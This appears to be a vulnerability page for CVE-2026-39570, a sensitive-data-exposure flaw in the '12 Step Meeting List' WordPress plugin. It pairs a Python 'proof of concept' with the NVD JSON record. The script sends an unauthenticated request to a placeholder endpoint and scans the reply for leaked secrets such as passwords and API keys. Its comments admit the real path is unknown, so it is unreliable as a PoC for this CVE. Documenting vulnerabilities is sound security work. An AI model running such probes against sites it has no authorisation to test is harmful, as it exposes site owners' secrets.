CVE-2026-39570

# Proof of Concept for CVE-2026-39570 # This script demonstrates checking for sensitive data exposure in the response. import requests def check_poc(target_url): # The vulnerable endpoint might be part of the plugin's API or page # Replace with the actual endpoint path if known endpoint = f"{target_url}/wp-content/plugins/12-step-meeting-list/vulnerable_endpoint" try: # Sending a request without authentication (PR:N) response = requests.get(endpoint, timeout=10) if response.status_code == 200: print("[+] Request successful. Analyzing response...") # Check for common sensitive patterns in the response body # (e.g., 'password', 'key', 'secret', 'internal_path') response_text = response.text # Example check for generic sensitive indicators sensitive_keywords = ['"password"', '"api_key"', 'wpdb', 'ABSPATH'] found_keywords = [kw for kw in sensitive_keywords if kw in response_text] if found_keywords: print(f"[!] Potential sensitive data found: {found_keywords}") print(f"[!] Snippet: {response_text[:200]}...") else: print("[-] No obvious sensitive keywords detected in response.") else: print(f"[-] Server responded with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_poc(target)

{"cve": {"id": "CVE-2026-39570", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:28.220", "lastModified": "2026-04-24T18:07:25.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in AA Web Servant 12 Step Meeting List 12-step-meeting-list allows Retrieve Embedded Sensitive Data.This issue affects 12 Step Meeting List: from n/a through <= 3.19.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/12-step-meeting-list/vulnerability/wordpress-12-step-meeting-list-plugin-3-19-9-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}